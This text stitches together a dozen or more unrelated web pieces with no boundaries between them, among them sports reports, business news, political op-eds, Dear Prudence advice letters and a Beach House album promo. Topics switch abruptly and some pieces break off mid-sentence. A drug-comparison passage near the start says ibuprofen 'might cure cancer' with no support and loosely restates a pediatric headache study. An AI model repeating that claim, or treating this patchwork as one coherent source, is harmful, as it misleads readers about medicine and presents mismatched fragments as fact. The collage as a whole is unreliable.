Blues defenders Aleksandar Kolarov and Matija Nastasic both started in Serbia’s clash with Albania tonight.
However, the match in Belgrade descended into bedlam after a drone carrying an Albanian flag was flown over the stadium.
Serbian defender Stefan Mitrovic tried to pull down the flag, sparking ugly scenes on the pitch.
Kolarov, 28, and Nastastic, 21, were involved in scuffles between both sets of players before things took a violent turn with trouble in the stands and fans invading the pitch to attack Albanian players.
Kolarov was seen bravely shielding and protecting Albanian players from the baying mob as the teams tried to leave the field.
The European Championship qualifier was eventually abandoned by English referee Martin Atkinson after being stopped in the 41st minute.
Fellow Premier League referee Anthony Taylor, from Wythenshawe, was one of his assistants.
Albanian fans had been banned from attending the clash between the neighbouring countries, who have long standing political grievances related to the Kosovo region.
Ibuprofen is an anti-inflammatory drug used for pain relief, headaches, swelling reduction, and fevers. It also might cure cancer. Ibuprofen also goes by Advil, Brufen, Motrin, and Nurofen (or for chemists, (RS)-2-(4-(2-methylpropyl)phenyl)propanoic acid). Here’s some more facts on NSAIDS.
Tylenol is a trademark name for the drug known as acetaminophen in the US and paracetamol outside the US. It’s a popular drug for pain relief and fever reduction, but overdoses and alcohol synergism can cause fatal liver, brain, and kidney damage. Tradenames include Tylenol (USA), Anacin Aspirin Free (USA), Apra (USA), Crocin (India), Feverall (USA), Genapap (USA), Panadol (UK), Panamax (Australia), and Panodil (Denmark).
Researchers from the Departments of Pediatrics and Pediatric Neurology, Children’s Hospital (Drs. Hamalainen, Hoppu, and Santavuori), and Clinical Pharmacology (Dr. Hamalainen), and Computing Centre (Dr. Valkeila) in Helsinki, Finland compared effectiveness of ibuprofen and acetaminophen for pain relief. They administered comparable doses of ibuprofen and acetaminophen to 88 children aged 4-16 in a double-blind crossover study.
Results are fairly telling:
Three attacks per child were treated in random order with single oral doses of 15 mg/kg acetaminophen, 10 mg/kg ibuprofen, and placebo at home. The primary end point, reduction in severe or moderate headache (grade >or=to 3 on a scale of 1 to 5) by at least two grades after 2 hours, was reached twice as often with acetaminophen and three times as often with ibuprofen as with placebo.
Kids given ibuprofen were twice as likely to experience migraine relief within 2 hours. Both drugs were at least twice as effective as placebo. They concluded ibuprofen gives superior pain relief than does acetaminophen though both are economical treatment options.
But just in case your thirst for liberty knowledge remains unquenched, this might be a good time for a little summer reading project. I can think of no better reading list than one recently proposed by Robert Wenzel on his EconomicPolicyJournal.com blog, the “30 Day Reading List That Will Lead You To Becoming a Knowledgeable Libertarian”. The list is intended as a starting point for the study of libertarianism from some of its greatest minds such as Murray Rothbard, Walter Block, and Ludwig Von Mises.
As Thomas E. Woods recently made the plea recently in his definitive libertarian speech for libertarians to take to “the airwaves” so to speak both to educate ourselves and others through the various media outlets that are so easily accessible thanks to the internet, young Steve Cronin is doing just that by posting a video blog on his YouTube channel discussing each of these articles. Steve’s video explaining this project below:
The battle for Liberty is an intellectual one, and a war of ideas can only be won by being armed with the knowledge to fully understand and defend one’s positions. The single most important thing any of those that believe in liberty can do is to constantly be seeking ways to educates both ourselves and others. This is a process that can and should occur concurrently, as none of us can ever truly be “fully” educated.
Before we get to Mr. Wenzel’s reading list, I have to step in and add a personal favorite piece that truly served to open my eyes and truly understand how the state functions. This would be Murray Rothbard’s “Anatomy of the State”. Whether you read it first or last, I urge everyone that has enough interest in the subject matter to have made it this deep into this post to give it a thorough reading. You will not be disappointed.
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Bob Wenzel’s Reading List is below with links included. I expect all of you to be more knowledgeable libertarians when I return!
Day 1The Task Confronting Libertarians by Henry Hazlitt
Day 2 The Fascist Threat by Llewellyn H. Rockwell, Jr.
Day 3 Free Economy and Social Order by Wilhelm Röpke
Day 4 The Peculiar and Unique Position of Economics by Ludwig von Mises
Day 5 What Soviet Medicine Teaches Us by Yuri Maltsev
Day 6 Economic Depressions: Their Causes and Cures by Murray Rothbard
Day 7 Is Greater Productivity a Danger? by David Gordon
Day 8 Taxation Methods Evaluated by Murray Rothbard
Day 9 Hitler Was a Keynesian by Llewellyn H. Rockwell, Jr.
Day 10 Seeing the Unseen by Llewellyn H. Rockwell, Jr.
Day 11 The Watermelon Summit by Thomas J. DiLorenzo
Day 12 Inequality by Ludwig von Mises
Day 13 How to Think Like an Economist by Murray Rothbard
Day 14 The Health Plan’s Devilish Principles by Murray Rothbard
Day 15 Vices Are Not Crimes by Murray Rothbard
Day 16 Repudiate the National Debt by Murray Rothbard
Day 17 The Fallacy of the ‘Public Sector’ by Murray Rothbard
Day 18 The Road to Totalitarianism by Henry Hazlitt
Day 19 The Many Collapses of Keynesianism by Llewellyn H. Rockwell, Jr.
Day 20 The Crippling Nature of Minimum Wage Laws by Murray Rothbard
Day 21 Who Owns Water by Murray Rothbard
Day 22 Defending the Slumlord by Walter Block
Day 23 The Freedom of Association by Llewellyn H. Rockwell, Jr
Day 24 How to Help the Poor and Oppressed by Walter Block
Day 25 Everything You Love You Owe to Capitalism by Llewellyn H. Rockwell, Jr.
Day 26 Is There a Right To Unionize? by Walter Block
Day 27 What If Public Schools Were Abolished? by Llewellyn H. Rockwell, Jr.
Day 28 Why Austrian ? an interview with Robert Higgs
Day 29 Economics and Moral Courage by Llewellyn H. Rockwell, Jr.
Crowds for this week’s series against the Seattle Mariners at Globe Life Park have been small, despite the Rangers still legitimately fighting for the second wild card spot. Only three Globe Life crowds have been smaller this season than the first two games against the Mariners. Two games against the Twins in April and an Aug. 15 game against the Tigers, which had 50 fewer tickets sold than Monday night’s 20,686.
Here’s a shot of the stadium before Tuesday’s game.
Globe Life Park for Rangers/Mariners pic.twitter.com/UTo7qqad3d — Matthew Sprang (@MatthewSprang) September 12, 2017
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Rangers games have been well-attended this season. They’re currently 10th in the league and fifth in the American League with 31,267 tickets sold per game and 12th overall in total attendance at 2.2 million.
This week attendance has lagged behind. Only 20,557 were on hand for Tuesday’s game.
There hasn't been an Alone in the Dark since 2008's dreadful reboot at the hands of Atari, but hey, that's not stopping whatever company inherits the old brand name these days from waiting a few years and trying again. At this year's PAX, the publisher will be showing off a game called Alone in the Dark: Illumination.
The developer is a studio called Pure FPS that I can't even find a webpage for. The press release describes it as "re-imagined".
I am afraid, then, but not in the way Atari is probably hoping.
Canadians pay more than Americans for goods, especially food, because of Ottawa’s policies, not simply because retailers are inflating prices, a new report suggests.
[np_storybar title=”Terence Corcoran: Stick it to Ottawa on sticker shock” link=”https://business.financialpost.com/2014/05/05/terence-corcoran-stick-it-to-ottawa-on-sticker-shock/”%5D
The Harper Tories’ faith in the power of government to shape economic outcomes is well established. It is especially confident that laws and regulations can be imposed that control corporate behaviour and market forces to benefit consumers. The rail industry is about to be micro-managed. The hunt for a fourth competitor in the wireless market — a major failure so far that is likely doomed — is another example. Still another is the government’s commitment to level the retail pricing field between Canada and the United States.
Sometimes called “sticker shock,” Canadians pay higher prices than Americans on thousands of consumer products. Canadian retailers, apparently enthusiastic for more government regulation, mounted a campaign to get the government to do something about the fact that they paid more for products than their U.S. counterparts. And so the government responded. The last Speech from the Throne boldly declared that Canadians “should not be charged more in Canada for identical goods that sell for less in the United States.” The objective, absurdly impossible without massive intervention in the economy, was accompanied by a commitment “to end geographic price discrimination against Canadians.”
Read more …
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The C.D. Howe report shows that government protectionist policies as well as rising differences in wholesale prices between the U.S. and Canada are giving Canadians sticker shock.
“In terms of why [wholesale] products are more expensive, many of the factors are clearly government induced,” Nicholas Li, assistant professor of economics at the University of Toronto and author of the report to be released Tuesday, said in an interview.
For example, goods that are subject to supply-management policies or tariffs, such as dairy products, alcohol and tobacco, see the largest price gaps, he said. In 2011, the price differential between the U.S. and Canada for milk, cheese and eggs was 77%, he said, citing figures from the Organization for Economic Co-operation and Development (OECD).
While the price gap is smallest for foods such as seafood and produce, where individual companies have less market power, he said. For fish, the price gap was just 16% in 2011.
“The most striking categories are where there is stronger government regulation, and less competition, those are the places where you are seeing strong price increases,” Mr. Li said.
Retail price differences of goods between Canada and the U.S. is a hot button topic among politicians, and closing this gap has become a priority for the federal government. In the federal budget unveiled in February, the Conservatives said they planned to introduce legislation to prevent companies from using their “market power to charge higher prices in Canada that are not reflective of legitimate higher costs,” and would give the Commissioner of Competition the power to enforce the law.
Mr. Li’s research in the C.D. Howe report called Sticker Shock: The Causes of the Canada-U.S. Price Differential shows that Ottawa’s own policies are partially to blame, particularly when it comes to food such as milk and eggs, thanks to supply management practices and tariffs.
For example, Mr. Li’s research showed that between 2004 and 2007, when examining the prices of identical goods such as detergent and olive oil sold at a major grocery retail in B.C. versus Washington state, the wholesale price gaps between the two countries were larger than the difference seen between price tags.
The listed retail price gap rose from 2% in 2004 to 12% in 2007, while the wholesale gap rose from 12% to 20% in that time, Mr. Li said.
“In every period, the retailer appeared to absorb some of the higher wholesale prices in Canada by accepting lower retail margins,” he wrote in the report.
What’s more, the average price gap between Canada and U.S. goods from 2005 to 2011 rose from 0 to 28%, based on figures from the OECD, more than the Loonie’s rougly 22% jump in value during that period would explain.
Looking at goods produced in Canada, the price gaps jumped much more markedly. The Canada-U.S. price gap for milk, cheese and eggs rose from 35% in 2005 to 77% by 2011, while meat saw a jump from 11% to 76% in that same time.
The price gap for fish, however, actually dropped from 20% to 16% between 2005 and 2011.
While there are cost factors unique to Canada that play a role, such as lower population density or additional language requirements, the diversity in the price gaps suggests that difference stems more from good-specific factors such as tariffs, rather than, say, distribution or labour costs.
Competition is also a factor, he added, as reflected that the average product category has one-third fewer major brands in Canada than in the U.S.
To lower these price gaps, Mr. Li suggests that officials should boost retail competition in Canada by raising duty-free exemptions for travellers and cross-border shipments. In Canada, any shipment over $20 has to go through the customs and duty process, where the threshold is $200 in the U.S., he says.
As well, he calls on the government to encourage competition at the wholesale level, increasing the ability of Canadian retailers to purchase goods at the U.S. wholesale prices.
Lastly, he calls on Canadian governments, particularly the federal government, to reduce existing tariffs and taxes and eliminate supply management which has a tight hold on industries such as dairy and meat in Canada.
“Politically, it’s not clear that [change] will happen any time soon,” he said. “But I think all of us who look at the data, and where these prices gaps are most egregious, it’s clear, we’re kind of shooting ourselves in the foot here.”
National Post
Softbank president Masayoshi Son speaks during a press conference in Tokyo in this April 30, 2013 file photo. (TSUNOYOSHIKAZU TSUNO/AFP/Getty Images)
Sprint Chairman Masayoshi Son is rallying rural wireless companies to "fight back" against the nation's top carriers, including AT&T and Verizon.
Son pitched members of the Competitive Carriers Association (CCA) Thursday on a roaming alliance that would effectively expand the cellular coverage of both Sprint and CCA's 100-odd members across the United States.
Son said Sprint would help pay for the smaller carriers' rollout of LTE and provide them with LTE-capable devices they can sell to customers — the better to take on what he described as a "duopoly [that] is taking over our country, America."
"Sprint will make a strong alliance," Son told CCA members in his remarks. "I will say, as the chairman of Sprint, we will make a commitment to make this happen."
Verizon maintains that its own agreements with small carriers are no less robust, saying in a statement to the Post that its leasing deals with 20 rural network operators enables customers of those services to access LTE away from cities and to roam on Verizon's LTE network when traveling.
Son's overtures to small wireless companies come as the company attempts to convince regulators to allow the merger of Sprint and T-Mobile. Authorities appeared lukewarm to the idea after rejecting AT&T's bid for T-Mobile just a handful of few years ago. The Federal Communications Commission says it would prefer to have four national wireless carriers over three.
That isn't stopping Son's charm offensive. Earlier this month, Son vowed to bring wireless data speeds up to par with some of the fastest wired broadband connections in the United States — a claim he reiterated Thursday.
By Alex Lantier
8 November 2014
Workers from across Belgium converged on Brussels on Thursday to protest the austerity measures of the new right-wing government of Prime Minister Charles Michel.
Approximately 130,000 people (100,000 according to police and 200,000 according to the marchers) from both Flemish- and French-speaking regions marched in one of Belgium’s largest mass protests since the general strike of 1960-1961. Workers in the chemical, pharmaceutical, transport, public transit, port, steel and aerospace industries struck and joined the protests.
Members of several youth groups and pseudo-left organizations broke into and briefly occupied the headquarters of the Federation of Belgian Corporations (FEB) in Brussels.
Workers were protesting the Michel government’s plans to raise the pension age to 67, carry out a 10 percent cut in the public sector wage bill, force long-term unemployed workers to work for their unemployment benefits, cut health spending, and push through a €3 billion wage cut by delaying the indexation of wages on prices. This last measure would cost the average worker €336 (US$417.27) per year.
The reactionary and provocative attack on the working class comes amid revelations that neighboring Luxembourg, under former Prime Minister and now European Commission chief Jean-Claude Juncker, offered massive, secret tax breaks to transnational corporations in exchange for basing their activities in Luxembourg.
The Belgian trade union bureaucracy has called a series of rolling strikes in cities across Belgium, leading up to another national strike on December 15.
Violent clashes erupted between police and groups of protesters who broke off the main body of marchers near the Porte du Hal area. Police deployed water cannon and mounted baton charges against the protesters, who police claimed were dock workers from Antwerp. Several dozen people were wounded, including two policemen who were reportedly seriously injured. At least 30 protesters were arrested.
According to reports in La Libre, however, the forces fighting police included two Dutch neo-Nazi activists, Eite Homan and Karl-Jan Walle. They carried materials denouncing the Socialist Party (PS), the largest electoral force in francophone Belgium, which supported Thursday’s protest. They were reportedly visiting Brussels for a Flemish nationalist conference that has declared its support for Greece’s neo-Nazi Golden Dawn.
The mass strike was the first answer by the working class to the installation on October 11 of the Michel government, after months of contentious negotiations following the May 25 federal elections in Belgium. The new government has brought explosive class and national tensions in Belgium—whose governments have traditionally balanced across the Franco-Flemish linguistic divide—to the boil.
The new government is an unstable alliance of Flemish nationalists with free-market francophone politicians. While Michel’s free-market Reform Movement (MR) serves as a francophone figurehead for the government, its main force is a coalition of right-wing Flemish parties led by the Flemish-separatist New Flemish Alliance (NVA), which is linked to the far-right Flemish Bloc (VB). The MR received only a quarter of the francophone vote.
This marks the first time in 26 years that the PS is not in government. On the other hand, it is the first time that the anti-European Union (EU) NVA enters into government at the federal level.
The mass strike testifies to the deep opposition that exists in the working class to the austerity policies pursued by the entire European capitalist class. It comes amid a series of strikes against social cuts across Europe, notably now among German train drivers, and as the French PS government mounts a bloody crackdown against protests over the police murder of ecological activist Rémi Fraisse.
The central problem facing the workers, however, is to take their struggle out of the hands of the union bureaucracy and conduct it on the basis of a fight to unify workers of all nationalities in Belgium and Europe against capitalism.
The sharpest warnings must be made about the organizations currently calling and controlling the Belgian protests: the Belgian-francophone PS, its pseudo-left allies, and the union bureaucracy. They aim to maintain their grip on the working class in order to block a revolutionary struggle and in this way impose the cuts demanded by international finance capital.
PS leader and outgoing prime minister Elio di Rupo, marched in the rally and told the British Daily Telegraph, “I share the concern of the people, and the measures of the government are unjust.” But Deputy Prime Minister Alexander de Croo mocked di Rupo, pointing to the hypocrisy of his sudden conversion to opposition to social cuts. “Elio is marching with people who were marching against him,” de Croo told L’Avenir, referring to the 2011-2014 di Rupo government that imposed billions of euros in cuts against workers. (See: Opposition grows to Belgium austerity)
De Croo added, “We admit, though, there were a lot of people [at the Thursday protest] ... All the relevant ministers will begin to coordinate with the social partners on how to present our measures.”
The trade unions are, as usual, surprised and terrified by the success of their demonstration. “If this government does not back down, we fear that we may not be able to control our forces,” a Christian union leader told Le Soir .
The unions are moving quickly to try to negotiate a face-saving agreement that the state can use to try to present its austerity measures to workers in a more favorable light. Even in the run-up to the protests, the government held secret talks with Belgium’s main unions—the SCS, the General Federation of Belgian Workers (FGTB), and the General Confederation of Free-market Trade Unions (FGSLB)—according to reports in De Morgen. At 5 p.m. on Thursday, as the protests continued, the unions met with government negotiators to try to work out plans for a new package of cuts, which it could claim would be more “balanced” between concessions by employers and attacks on the workers.
“We criticized the government’s totally unbalanced program. The government politely listened and finally said that the labor minister would be charged with discreetly and informally contacting all the social partners to prepare future negotiations,” Leemans said.
This would amount to a sell-out of all the strikes currently being mounted by Belgian workers, which is why the right-wing government is eagerly seizing upon the unions’ proposal.
Coming out of the Thursday meeting with the unions, Labor Minister Kris Peeters declared, “Our goal is to see what we can negotiate on. I am tasked with discreetly contacting the unions and the employers’ organizations... We are showing that we are open to social dialog.”
However, Peeters indicated that several government demands were non-negotiable, including demands for a wage freeze.
The unions nonetheless hailed Peeters’ offer to negotiate on these terms, with CSC General Secretary Marie-Hélène Ska praising it as an “initiative to re-establish confidence ... The government seems to be listening to us, we hope that we can have a confident relationship.”
Part 1
Introducing the Great Divergence: Trying to understand income inequality.
Part 2
The Usual Suspects Are Innocent : Neither race nor gender nor the breakdown of the American family created the Great Divergence.
Part 3
Did Immigration Create the Great Divergence? Why we can’t blame income inequality on the post-1965 immigration surge.
Part 4
Did Computers Create Inequality? No. The tech boom’s impact was no greater than that of previous technological upheavals during the 20th century.
Part 5
Can We Blame Income Inequality on Republicans? Yes, but for the very richest beneficiaries the trend has been bipartisan.
Part 6
The Great Divergence and the Death of Organized Labor : How has the decline of the union contributed to income inequality?
Part 7
The Great Divergence and International Trade : Trade didn’t create inequality, and then it did.
Part 8
The Stinking Rich and the Great Divergence: Executive compensation took off in the 1980s and 1990s. Is it to blame?
Part 9
The conservative, pro-Trump Patriot Prayer group, enraged by what it portrays as political correctness run wild at The Evergreen State College, is planning a protest for Thursday afternoon.
At least two groups, including Puget Sound Anarchists, have announced counter-protests, labeling Patriot Prayer a group aligned with fascists and white supremacists.
Given “potential disruption,” the college is suspending operations at 3 p.m., and limiting access to the campus shortly after that, according to a notice on Evergreen’s website. The interruption will not affect classes, which ended last week, but will mean the library, bookstore and administrative offices will close, college spokesman Zach Powers said.
It will be yet another time Evergreen has shut down operations or canceled classes after a rancorous campus debate over charges of racism and denial of free speech boiled over into the national news. Earlier this month, an anonymous caller threatened to come armed to campus and execute people, prompting closures over a string of days.
The public college became a political flashpoint after professor Bret Weinstein questioned an “Day of Absence” in April in which white students were asked to leave campus amid activities on and off the college grounds to discuss racism and equity. Some 50 students later came to Weinstein’s classroom and angrily confronted him.
Campus police suggested Weinstein “stay away from campus for a day or two,” according to Powers.
“It’s time that we go in there,” said Patriot Prayer organizer Joey Gibson in a video promoting Thursday’s protest, dubbed “Free Speech Evergreen State College” and scheduled to run from 5:30 to 7:30 p.m.
“I am so angry right now,” he said, his voice rising to a fever pitch. “I am so upset at the culture that you guys have there. It is a culture of hatred. You have no right to kick someone out because of the color of their skin. That is called racism.”
But opponents said it is Gibson’s group that is racist.
Patriot Prayer held a “free speech” rally in Portland June 4 despite the mayor’s plea to cancel it in the wake of the fatal stabbing of two men trying to stop a man making anti-Muslim slurs.
At that and other events, “Patriot Prayer has coordinated and stood with neo-Nazis and neo-fascist groups,” said a Facebook post of a group calling itself the Evergreen Anti-Fascist Community Defense Network.
“We are putting out the call for a broad coalition to show up and confront hate this Thursday,” read the post, which asks people to begin arriving at 3 p.m.
Puget Sound Anarchists put out a similar call.
“To be successful in this we will need many different tactics, skill-sets and supplies,” a post on its website said. “Please bring your self, food, water, things to make noise, music, medic skills and supplies, masks, flags, art, banners and signs.”
In his video, Gibson encouraged those with different views to come, saying he and fellow protesters would debate anyone willing to talk to them. “I will do everything I can to keep this group peaceful,” he said.
That’s what law-enforcement officers are expecting, said Washington State Patrol spokeswoman Trooper Brooke Bova.
Get Dear Prudence delivered to your inbox each week; click here to sign up. Please send your questions for publication to prudence@slate.com. (Questions may be edited.)
Got a burning question for Prudie? She’ll be online here on Slate to chat with readers each Monday at noon. Submit your questions and comments here before or during the live discussion.
Dear Prudence,
My wife of 43 years died an excruciating death from lung cancer in April. We were childless, which I thought was a sorrow to both of us but I was wrong. We are simple people who never consulted a doctor or fertility clinic about the problem. Two days before she died, my wife said God was punishing her, not for her lifetime smoking habit, as I expected, but because she had taken birth control pills for 20 years without my knowledge. Worse, she had had two abortions without telling me! Of course this completely blew me out of the water. I told her I forgave her, but that’s not really true. I’m still stunned beyond belief, mourning the children we never had who could have been such a joy and comfort. The only person I could think of to confide in was our parish priest, who told me that she’s burning in hell and will do so for all eternity. I really don’t think that’s true, as she was otherwise a very good woman, but now I don’t feel welcome at church as well. I think this will haunt me until the end of my days and I feel helpless to counteract it. Any advice you could give me would be very much appreciated.
—Devastated
Dear Devastated,
The cruelty of your wife’s behavior, both during your marriage and as she faced her own end, is hard to fathom. The death of a beloved spouse of more than four decades is going to upend anyone’s world. But of course you feel undone by her deathbed confession that she deceived you for the entirety of her reproductive years, and further that she aborted the children for whom you must have prayed. You say your wife was “a very good woman.” I’m sure you could unroll an endless list of her genuinely generous and loving acts. But she also engaged in a profound and continuous betrayal of you, then compounded this by not taking her secret to the grave. I’m not much of an afterlife person, but I agree that your priest’s response was gratuitous and mean. He needed to help you sort out your new understanding of your marriage, and to compassionately attend to you, the living. If you find solace in your faith, ask among your friends for a parish whose priest has a generous spirit. I also urge you to find a counseling center that specializes in bereavement. You will be able to talk to a therapist who has likely dealt with patients who have had all sorts of shocking pre- and post-mortem discoveries, and who will help you work through both your anger and loss. Your perfectly natural feelings of hurt and helplessness are fresh and raw. I hope you have friends and family who are a comfort, and paid or volunteer work that is a satisfaction. Even though it may be hard to believe now, with help and time, you will be able to heal.
—Prudie
Dear Prudence,
My 5-year-old son recently had a play date at the house of a kindergarten friend of his. When my wife picked him up, the friend’s mother explained that the two boys had gotten dirty playing in the sprinkler, and so she had given him a bath. My jaw dropped when I found out. I quizzed my son and apparently no other adults were present, no cameras were seen, and she did not touch his privates. He had fun and did not seem bothered by the bath. Nevertheless, I am upset that a stranger would strip my child and bathe him without first checking with us. My wife thinks that this can be explained as a cultural difference as the friend’s parents are immigrants, and that the mother was trying to be respectful. I want to put the kibosh on the relationship. What would you suggest?
—Upset
Dear Upset,
You didn’t mention that you also checked your son for any telltale scars that would indicate that he’d had a kidney extracted for sale on the black market. This is the story of two dirty little boys who took a bath and emerged as two clean little boys. That’s it, so I suggest you simply be grateful this mother didn’t send your son home covered in mud and grass stains. I know, Dad, that horrible things do happen and when they do they make the news and freak people out. But what doesn’t make the news are the endless benign daily interactions that fortunately make up the lives of most of the people around you. I hope that your grilling your son about his happy play date didn’t lead your boy to feel he’d done something wrong or that something wrong was done to him. What you must do is check your anxiety and your impulse to put fear into your child. Of course he needs to know about private parts and inappropriate touching. But since nothing untoward happened, how sad and confusing for your son if a bath at a classmate’s house ends a promising friendship. You may think that you can’t be too careful, but you’re demonstrating that you can.
—Prudie
Dear Prudence,
My 10-year-old stepdaughter has started to ask about my family, why she doesn’t know them, etc. She knows that both of my parents are dead but not how or why. She knows I have an older brother, but that she’ll likely never meet him. The other stepkids are younger than her, but in time will question the same things. The sad truth is that my parents were violently abusive toward me and my brother, and died in a murder-suicide committed by my mother when I was 12. My brother is in prison because of chronic drug use. I have never lied to the kids, but this isn’t PG information. What do I say? When are they old enough for the truth?
—Sordid Past
Dear Sordid,
That you are a loving stepparent and a highly functioning person is a tribute to you, and I hope some day your stepchildren will appreciate what you overcame, and how you broke the chain of abuse. I agree with you that the story of your parents’ death is deeply upsetting information about people your stepdaughter doesn’t know, and she’s too young to hear it. In several years she will be old enough for the whole story, but there’s no reason to burden her now. You want to express to your stepdaughter that the subject of your family is not verboten and that you appreciate her wanting to know more about your life. You can tell her that members of your family had something called mental illness. Because they didn’t go to doctors and get help, they hurt themselves and others, and your childhood was very hard. You can say that your parents died in a way that makes you sad to talk about, and if it’s OK, you’d rather tell her more about it in a few years when she’ll understand better. Likely that will satisfy her. As for your brother, your stepdaughter probably is old enough to know the basics of drug addiction. You can tell her that because of his addiction, he broke the law to try to get drugs, and now he’s in jail. Then you can hug her and tell her that one of the things that makes you feel lucky is that you have such a happy family now.
—Prudie
Dear Prudence,
I’m 21 years old and my sister is 24. We are both home temporarily for the summer. The other night we were smoking some weed and looking through our childhood memory boxes—can you get more wholesome? We were in the basement far away from anyone else. Then Mother Dearest stomped down and told us “how disappointed” and how “disrespected” she felt that we were smoking weed. Without even waiting for a response, she stalked away as if she had just discovered us murdering a kitten. Later Sis and I noticed our bag containing $40 worth of really good weed was gone. Turns out Mother Dearest flushed it down the toilet. We live in Colorado where weed is legal, we paid for it with our own money, and we are adults. We don’t feel respected as responsible, autonomous individuals who make their own choices. She refuses to pay us back. How do we get Mother Dearest to see that what she did was wrong?
—No, Mother Dearest
Dear No,
I understand that marijuana is legal in your home state, but it turns out to be irrelevant if you are living with your own personal weed whacker. You may think you were far away from anyone else, but obviously the aroma of your wholesome activity wafted up the stairs and did nothing to mellow out your mother. Your assertions about your autonomous adulthood made me laugh because you two are hiding out in the basement to get a little high. Most adults who don’t want their mother knowing about their activities find a way not to be sleeping in their childhood bedrooms. If you are under your mother’s roof for the summer, it’s not unreasonable for her to expect you to follow her rules. Sure she should have just told you “no marijuana in the house” instead of flushing your stash. But I love your plan to get reimbursed. That should work as soon as you compensate your mother for the room, board, laundry service, etc., she’s providing you this summer. In case you didn’t know, your mother doesn’t like drugs—so don’t take them in her non-autonomous basement. Oh, and as a mother myself, let me pass on this tip: Drop the “Dearest.”
—Prudie
Discuss this column with Emily Yoffe on her Facebook page.
More Dear Prudence Columns
“Ruh Roh!: I caught my landlord in flagrante with his dog.”
“Mommy’s Little Bigot: My young daughter won’t stop spouting racist comments.”
“Regrets of a Spanking Sitter: I was cruel to the kid I once baby-sat, and now the guilt is tormenting me.”
“Don’t Come Around Here No More: My fiancé won’t give up in bed until he thinks he’s pleased me multiple times.”
More Dear Prudence Chat Transcripts
“Beginner’s Schtup: In a live chat, Prudie counsels a woman whose husband is painfully inexperienced in bed.”
“Dead Ringer: In a live chat, Prudie advises a man unnerved by a deceased man who looks exactly like him.”
“Touchy Feely: In a live chat, Prudie offers advice on a 6-year-old daughter who can’t stop playing with herself.”
“Baby’s on Us: In a live chat, Prudie offers advice on a woman using her friends to raise money for her fertility treatments.”
Unless you identify your economic enemy correctly, you cannot succeed in defeating him. The typical Occupy Wall Street sap, the radical left's modern incarnation of the useful idiot, thinks his enemy is an evil Wall Street billionaire. But Wall Street banking firms did not survive the financial collapse of 2008 -- virtually unscathed -- by bailing themselves out. With only one major exception (Lehman Brothers), incompetently managed banks were not forced into bankruptcy by the government. Bondholders and shareholders were not told to pick up their crumbs, suffer debilitating losses, and learn their lesson for the next time. No, the government, the same irresistible and evil force that OWS now wants to manage our entire economy, decided instead to bail out the banks. Taxes paid by the occupiers, or more likely their parents, were looted to accomplish this. The government chose to double down on moral hazard. Goldman Sachs, GE, AIG, and their ilk were unjustly saved and rewarded by the government for their mismanagement, with democrats leading the charge. Democrats voted overwhelming for TARP, while the republicans largely demurred.
At radio this week, Depression Cherry is currently #2 on the CMJ Top 200 chart. The album is also currently #1 on the FMQB Alternative Specialty (2 weeks) and #12 on NonComm charts.
Depression Cherry is also receiving international acclaim from the likes of Entertainment Weekly, NPR Music, Rolling Stone, Time, Nylon, Pitchfork, GQ, The AV Club, Grantland, Exclaim!, The New Yorker, Stereogum, LA Times, Drowned in Sound, The Line of Best Fit, The Guardian, SPIN, Clash, Uncut and more.
Beach House’s worldwide tour in support of Depression Cherry resumes September 17th in Columbus, OH at Newport Music Hall and their 2015 dates end with a sold-out 3-night stand December 17-19 in San Francisco at The Fillmore. (see dates below)
LP* and CD versions of Depression Cherry are packaged in a sumptuous red velvet sleeve, and are available from megamart.subpop.com, iTunes and Amazon (North America), Bella Union (Europe) and Mistletone (Australia / New Zealand).
* The special, limited, clear vinyl Loser Edition LP version of Depression Cherry is now sold-out on megamart.subpop.com. Copies of this collectible version of the album may still be available at independent record stores or from the band directly at shows. Additionally, there is a new T-shirt design, available individually or as part of a bundle with purchase of the new record. Depression Cherry is also
What are ‘The People’ saying about Beach House’s Depression Cherry? Actually, a veritable plethora of good things:
“Reliable, virtually misstep-proof conjurers of a distinct and desirable mood….Beach House works with a simple set of ingredients — a few vintage keyboards, programmed drums, an electric guitar and the drowsily alluring voice of Victoria Legrand — to evoke a specific tone that rarely varies. And yet Depression Cherry, the Baltimore duo’s fifth album in the last decade, still feels vibrant and versatile. There’s sticking to a formula that works, and then there’s teasing out its subtleties in surprising, consistently rewarding ways.” [First Listen] - NPR Music
“It’s another impeccably measured step forward. Their albums might be an ideal soundtrack for daydreaming, but Scally and Legrand seem remarkably clear-headed about their work.” [Best New Music] - Pitchfork
“Weeping spirals of guitar, the futility of life looped in eerie, wordless harmonies, organs, and ‘shooting star slide guitars’ blasting like lightning bolts, beckoned and sent away by Legrand’s androgynous, languid voice. Maybe Legrand writes the lyrics, but Scally senses them, he translates them into softly cooing organ lines, demanding siren bursts of guitar, the loss lingering everywhere in soft white noise. All that sorcery is here, again, in full force.” - Stereogum
“For its fifth album, Depression Cherry, the pair decided to de-emphasize percussion, and the pillowy, haunting result is ideal for the encroaching autumn days.” - TIME
“The band’s understanding of their own head-in-the-clouds aesthetic and knowing where to sew in (or cut out) the stitches to keep their sound in a constant, albeit low-key, flux results in much more of a mesmerizing experience than would changing directions entirely.” [A -] AV Club
“Anyone who doesn’t fall for Depression Cherry’s hypnotic splendour probably just isn’t a Beach House fan, or didn’t live with the album long enough. But those who do will recognize this album as the sweeping, grand gesture they’ve been working up to giving us for the last nine years.” [9/10] - EXCLAIM!
“Beach House’s music isn’t as severe as Beckett, but it does share a similar purity, an ambition to strip art down to the privacy and insularity of a snow globe. Their most obvious ancestors are shy-minded indie bands from the 1980s and ’90s who buried themselves in sound: Cocteau Twins, My Bloody Valentine. But there’s also something Andrew Lloyd Webber about their twinkle and swirl, the naive theatricality of dress-up and pretend. Their deepest root is in old doo-wop ballads, sweet and angelic but steaming underneath, the heat of two teenagers separated by a ruler at a bygone prom. If some bands capture the freedom and joy of youth, Beach House captures its erotic incoherence — the sense of having no clear idea how you feel but feeling it so deeply you might pass out.” - Grantland
“Instead of relying mainly on guitars, their songs are built on a foundation of shimmering, droning electric organ. And, where many dream-pop vocalists are angelic, Legrand’s voice is deep, forceful, and oracular.” - The New Yorker
“Guitarist Alex Scally’s extravagant melodies bloom slowly over grooves that pulse like waves; singer Victoria Legrand’s vocals echo Fleetwood Mac’s lush folk rock, Cocteau Twins’ surreal dreams and Nico’s spooky drama. The Baltimore duo’s fifth album sticks to that signature sound, and go figure: A formula that might seem limiting feels instead like it can contain entire worlds.” - Rolling Stone
